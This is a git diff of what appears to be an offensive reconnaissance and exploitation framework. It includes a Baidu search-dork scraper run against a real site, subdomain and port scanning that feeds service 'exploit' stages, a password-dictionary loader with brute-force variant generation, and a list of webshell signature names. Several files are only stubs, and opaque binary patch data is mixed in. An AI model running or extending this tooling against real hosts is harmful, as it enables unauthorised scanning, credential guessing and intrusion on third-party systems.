zZgc7K30yeiYU6FL{^%E7eer~^rJv<}pnUxR1V|P#jNz?wpuLBNdJHe8fj-cnma=gd z$#>KcJkBr1=1U08*phFIS7>0o)P`mZK6#1ZO_8Z5)!92Y{^pjGTKW1{Z^W(gSAVa~ zFD?v^hMYTF6$iS80#_0ZWGqa00<`&=Br5az8Wb+`-2m;Q18AyrE!PCmF1)1RQO8f8 zue}tw-EHFD-hg#KLP5!eu|w**vDaDaZ>Nu}%2E({ZoqGYkgjqv^5NABTyM<%0zXs? zkg?8Vp?BS$W2rR2GN3@YyrPQ#$)Ve&&8EmTo85@?11T4p&1Zc#7>#6`O&&xsZ#LN^Y%X+n+Y=M+He@i@ zi@P-LM1-A(5jHL1HxkMcyKXqht`50cT@Fv(Fhgr;mzZziUscIpCNq yC~>{O<-87AyqMmUm0o`vUYcwfmW#~t-IYf$Nv-%fb;4ds|K4rM1$F=0`u_nMB-r5q literal 154 zcmWIL<>g`kg0B4|YH@Z+enCubWpQ$1o^EbpaY<@XOmIPF3XqDA2dXTIkJl@x Vyv1RYo1apelWGSt_%jeQ0091yCL;g< diff --git a/Test.py b/Test.py index e3c971e..51f2296 100644 --- a/Test.py +++ b/Test.py @@ -3,9 +3,9 @@ # @Time : 2021-08-25 1:14 import asyncio +import os import time - # async def test(queue: asyncio.Queue): # while 1: # item = await queue.get() @@ -30,7 +30,30 @@ # k.cancel() # # await asyncio.gather(*taskList, return_exceptions=True) +from urllib.parse import quote + import aiohttp +from aiohttp import ClientSession +from bs4 import BeautifulSoup + +from core.utils.InformationProvider import InformationProvider + + +async def _baidu(search, page): + async with ClientSession() as session: + for n in range(0, page * 10, 10): + base_url = 'https://www.baidu.com/s?wd=' + str(quote(search)) + '&oq=' + str( + quote(search)) + '&ie=utf-8' + '&pn=' + str(n) + async with session.get(url=base_url) as response: + if response: + res = await response.text() + print(res) + soup = BeautifulSoup(res, "html.parser") + for a in soup.select('div.c-container > h3 > a'): + async with session.get(url=a['href']) as response: + if response: + url = str(response.url) + yield url async def test02(): @@ -41,18 +64,47 @@ async def test02(): return 1 + def test01(): try: - a = 1/0 + a = 1 / 0 except: return 1 finally: print(22) +def test02(): + try: + print(1 == 1) + except: + pass + finally: + print(2) + return 3 + + +async def test(): + async for url in _baidu("inurl:nbcc.cn", 5): + print(url) + + +def test0202(): + passwordDict = InformationProvider.readFile(os.path.join(InformationProvider.dictPath, 'redis_passwords.txt')) + print(list(passwordDict)) + + +def test0303(): + raise ConnectionResetError("aaaaaaaaaaaa") + + if __name__ == '__main__': - b = test01() - print(b) + # l = asyncio.get_event_loop() + # l.run_until_complete(test()) + try: + test0303() + except: + pass # start = time.time() # asyncio.run(test02()) # print(time.time() - start) diff --git a/batch.py b/batch.py index bf4a24b..5d2b414 100644 --- a/batch.py +++ b/batch.py @@ -23,6 +23,7 @@ from exploit.CmsExploit import * from exploit.SQLExploit import * from exploit.ServiceExploit import * + from threading import Thread import os @@ -30,6 +31,7 @@ import time import sys import asyncio +import importlib from IPy import IP if sys.platform == 'win32': @@ -43,6 +45,7 @@ gIpList = [] # 用来统计gIpSegmentDict gIpPortList = [] # 存储端口+服务 gTopDomainList = [] # 存储顶级域名记录 @ske +gPortRegister = [] # 存储用于portSpider模块中要扫描的端口 # Spider @@ -53,8 +56,8 @@ def __init__(self, domain): self.domainList = [] # 用来存储所有匹配到的子域名和一些隐形资产 self.ipPortServiceList = [] self.webParamsList = [] # 存储可注入探测参数列表 ["http://www.baidu.com/?id=1111*"] - self.javaScriptParamList = [] # 存储js文件中的js敏感接口 @小洲 - self.clearTaskList = [] # 存储整理过后的域名 [{"subdomain": "www.ncist.edu.cn","ip": "1.1.1.1","port":[7777,8888]}] + self.javaScriptParamList = [] # 存储js文件中的js敏感接口 @小洲师傅 + self.clearTaskList = [] # 存储整理过后的域名 [{"subdomain": "www.zjhu.edu.cn","ip": "1.1.1.1","port":[7777,8888]}] self.lock = threading.Lock() # github spider @@ -102,7 +105,7 @@ def bingSpider(self): def thirdSpider(self): logging.info("thirdSpider Start") sys.path.append(thirdLib) - thirdList = filter(lambda x: (True, False)[x[-3:] == 'pyc' or x[-5:] == '__.py' or x[:2] == '__'], + thirdModuleList = filter(lambda x: (True, False)[x[-3:] == 'pyc' or x[-5:] == '__.py' or x[:2] == '__'], os.listdir(thirdLib)) async def do(future, domain): @@ -113,8 +116,8 @@ async def do(future, domain): loop = asyncio.get_event_loop() asyncio.set_event_loop(loop) taskList = [] - for _ in thirdList: - module = __import__(_[:-3]) + for _ in thirdModuleList: + module = importlib.import_module(_[:-3]) if hasattr(module, 'do'): doMethod = getattr(module, 'do') # do(doMethod, self.domain) @@ -244,9 +247,12 @@ def ip2domain(self): def ipPortSpider(self): logging.info("portSpider Start") global gIpPortList - portscan = PortScan(self.domain, gIpPortList) + portscan = PortScan(self.domain, gIpPortList, gPortRegister) loop = asyncio.get_event_loop() - self.ipPortServiceList = loop.run_until_complete(portscan.main()) + self.ipPortServiceList, httpList = loop.run_until_complete(portscan.main()) + self.lock.acquire() + self.domainList.extend(httpList) + self.lock.release() # 存活探测,限制并发数 def aliveSpider(self): @@ -254,11 +260,13 @@ def aliveSpider(self): aliveSpider = AliveSpider(self.domain, self.domainList) loop = asyncio.get_event_loop() resList = loop.run_until_complete(aliveSpider.main()) - self.paramsList.extend(resList) + self.lock.acquire() + self.webParamsList.extend(resList) + self.lock.release() # main start def run(self): - # 检查cdn @author ske大师兄 + # 检查cdn @author ske(大师兄) def checkCdn(domain): logging.info("checkCdn start") @@ -404,7 +412,7 @@ def flushAsn(domain): # 8、ip2domain self.ip2domain() - # 9、sslSpider @keefe @行牛 2021.09.01 SSL + # 9、sslSpider @keefe @行牛 @ske 2021.09.01 SSL # self.sslSpider() # 10、alive @@ -443,11 +451,11 @@ def flushAsn(domain): # Exploit class Exploit(object): - def __init__(self, domain, domainList, IpPortList, webParamsList): + def __init__(self, domain, domainList, ipPortServiceList, webParamsList): self.threadList = list() self.domain = domain self.domainList = domainList - self.IpPortList = IpPortList + self.ipPortServiceList = ipPortServiceList self.webParamsList = webParamsList def AliveScan(self): @@ -486,25 +494,25 @@ def sqlExploit(self): # 基于网站框架的漏扫 def webExploit(self): logging.info("CmsScan Start") - queue = asyncio.Queue(-1) - for aTask in self.domainList: - aIp = aTask.get('ip') - aPortList = aTask.get('port') - for port in aPortList: - queue.put("{}:{}".format(aIp, port)) # IP+端口, 接下里就是异步socket探测banner来进行相关利用即可. + + # queue = asyncio.Queue(-1) + # for aTask in self.domainList: + # aIp = aTask.get('ip') + # aPortList = aTask.get('port') + # for port in aPortList: + # queue.put("{}:{}".format(aIp, port)) # IP+端口, 接下里就是异步socket探测banner来进行相关利用即可. # IpUnauth(self.domain, queue).main() # 基于端口服务的漏扫 def serviceExploit(self): logging.info("ServiceScan Start") - # [{"subdomain": "www.zjhu.edu.cn","ip": "1.1.1.1","port":[7777,8888]}] - queue = asyncio.Queue(-1) - for aTask in self.IpPortList: - aIp = aTask.get('ip') - aPortList = aTask.get('port') - for port in aPortList: - queue.put("{}:{}".format(aIp, port)) # IP+端口, 接下里就是异步socket探测banner来进行相关利用即可. - # IpUnauth(self.domain, queue).main() + total = 0 + for targetService in self.ipPortServiceList: + total += len(targetService['ip']) + pbar = tqdm(total=total, desc="ServiceScan", ncols=150) # total是总数 + servicescan = PortServiceScan(self.domain, self.ipPortServiceList, pbar) + loop = asyncio.get_event_loop() + loop.run_until_complete(servicescan.main()) def run(self): def init(): @@ -516,11 +524,18 @@ def init(): # self.thread_list.append(Thread(target=self.HttpUnauthScan)) # 未授权扫描http域名 # self.thread_list.append(Thread(target=self.SqlScan)) # SQL注入扫描 - for i in self.threadList: - i.start() + # webExp + self.webExploit() + # serviceExp + self.serviceExploit() + # sqlExp + self.sqlExploit() - for i in self.threadList: - i.join() + # for i in self.threadList: + # i.start() + # + # for i in self.threadList: + # i.join() def parse_args(): @@ -539,12 +554,14 @@ def parse_args(): ''') starttime = time.time() args = parse_args() + g_domain = args.domain + # g_portregisterType = args. if args.domain: if not os.path.exists(abs_path + args.domain + ".xlsx"): createXlsx(args.domain) spider = Spider(args.domain) - domainList, ipPortList, webParamsList = spider.run() - exploit = Exploit(args.domain, domainList, ipPortList, webParamsList) + domainList, ipPortServiceList, webParamsList = spider.run() + exploit = Exploit(args.domain, domainList, ipPortServiceList, webParamsList) exploit.run() else: print('文件{}.xlsx已存在,如果要运行的话需要将该文件{}.xlsx改名或者删除.'.format(args.domain, args.domain)) diff --git a/common/Crawl.py b/common/Crawl.py index e755f74..93c2a30 100644 --- a/common/Crawl.py +++ b/common/Crawl.py @@ -1,4 +1,6 @@ - +# coding=utf-8 +# @Author : zpchcbd HG team +# @Time : 2021-09-06 22:14 class Crawl(object): - pass + pass \ No newline at end of file diff --git a/common/crawl.py b/common/crawl.py new file mode 100644 index 0000000..93c2a30 --- /dev/null +++ b/common/crawl.py @@ -0,0 +1,6 @@ +# coding=utf-8 +# @Author : zpchcbd HG team +# @Time : 2021-09-06 22:14 + +class Crawl(object): + pass \ No newline at end of file diff --git a/core/MyModuleLoader.py b/core/MyModuleLoader.py new file mode 100644 index 0000000..daaac94 --- /dev/null +++ b/core/MyModuleLoader.py @@ -0,0 +1,21 @@ +# coding=utf-8 +# @Author : zpchcbd HG team +# @Time : 2021-09-07 16:47 + +import importlib + + +# exp loader +class ModuleLoader(object): + + def _moduleLoad(self, modules): + pass + + def singleModuleLoad(self): + pass + + def multiModuleLoad(self): + pass + + def defaultModuleLoad(self): + pass diff --git a/core/hackrequest.py b/core/MyRequest.py similarity index 100% rename from core/hackrequest.py rename to core/MyRequest.py diff --git a/core/Mydict.py b/core/Mydict.py new file mode 100644 index 0000000..9101bbb --- /dev/null +++ b/core/Mydict.py @@ -0,0 +1,6 @@ +# coding=utf-8 +# @Author : zpchcbd HG team +# @Time : 2021-09-06 20:48 + +class Mydict(dict): + pass \ No newline at end of file diff --git a/core/Mylist.py b/core/Mylist.py new file mode 100644 index 0000000..cef85c7 --- /dev/null +++ b/core/Mylist.py @@ -0,0 +1,6 @@ +# coding=utf-8 +# @Author : zpchcbd HG team +# @Time : 2021-09-06 20:49 + +class Mylist(list): + pass diff --git a/core/__pycache__/hackrequest.cpython-38.pyc b/core/__pycache__/MyRequest.cpython-38.pyc similarity index 98% rename from core/__pycache__/hackrequest.cpython-38.pyc rename to core/__pycache__/MyRequest.cpython-38.pyc index 07eb1571e5cd005b2bff69575ec0ffdcff1f58c2..2a537e3b2e5c45e0aca5209df34bb052681b4ee0 100644 GIT binary patch delta 36 rcmZ1|H(zeUQbuuk7poXYAD@`q%Hrh2yqM(tqSP4Q%An2r7?XJc>+=l$ delta 38 tcmbO)w@_}wQbtKd7poXYAD@`q%Hrh2yqM(tqSTm-#N_Ov&3hP=c>xIj4e 2: + password2 = password[0].upper() + password[1:] + if password2 != password: + yield username, password2 + + @staticmethod + def getRedisInfor(): + pass + + @staticmethod + def getMysqlInfor(): + pass + + @staticmethod + def getMongodbInfor(): + pass + + @staticmethod + def getRdpInfor(): + pass + + @staticmethod + def getRsyncInfor(): + pass + + @staticmethod + def getMssqlInfor(): + pass + + @staticmethod + def getMysqXlInfor(): + pass + + @staticmethod + def getXXXXInfor(): + pass + + @staticmethod + def getXXXInfor(): + pass diff --git a/core/utils/__pycache__/InformationProvider.cpython-38.pyc b/core/utils/__pycache__/InformationProvider.cpython-38.pyc new file mode 100644 index 0000000000000000000000000000000000000000..bbf3be308e38f314ec021ba55093bb03efc44721 GIT binary patch literal 2443 zcmb_eO>Y}T7@m*ydhM*8me7w>rk~{C0~ioRPytFs098t&l0X}+j4anPNjJ53otZVr z*81df=E~6#r(XF9{EWGB%0ECo@xEhivj`hiaz~nHpP6}Qo_XheJ>wrLl`?_y$KRi{ zkBfx-g^hf1ps@*6*8l_&v`Yf=EfGxc=R|NxCp=(+?vuK61{P$ugP1QI8k=C2`sERp3{|Rm(4kb=dtiv-Ti5j8(6lgmLsx#Xp5YDnr%i`qsV1 z{q5~WZ>T%%s3F2m(g@E@I~3f?3Il@Y`4v?CDL_Jw>6E49l&X&to|42lE=<_3m&Y`v zQ}>iSCXC!A-;q7?JK4A2132Y<@`CQxi-yJ8IQ@3=)VQHO47<`eabHFXWsHX%-w*rJ zl$30XZWu{jXS438-IInMz96asrY{>?_nP2BbLK*`6D!#qBw<%K=lJ}7e`q{h@f%pb zijH^yg!!~euhCI$-jvL|gFDMg0f-9~GeZ9fkdTC?5b6mX&p0sP(6>c?oQ_$_rjQtd zo#GeL1HSx}Or28#V-##gV@Q^iKP#%el#hAjryMMu6fDQw^7*rQ%2IyF9uZ2CLdqvp z6rMS1Gv&fvCm04`ML~XH>*NX_0r;1j5#FS!7StM=hSa6IQ5+Q((*pYA3(8EU+2Vc zE)aiZytFhXTc-RVr@ScHGTYtyMdP(vc=5Gbrrc`vVln6<_gk%#LAyH}Q6*T@c=+x< z#HY~L3B1vro=l#`LaoA}!v7}f9fa!$HxO +jsp File browser +JspWebshell +PHPShell +phpRemoteView +JspSpy +Mini Php Shell +<title>r57Shell +Simple CGI backdoor by DK +JFolder +NIX REMOTE WEB-SHELL +Execute Shell Command +PGTools +<title>PhpShell \d\.\d +cmd\.jsp +# c99 +c99shell +- c99shell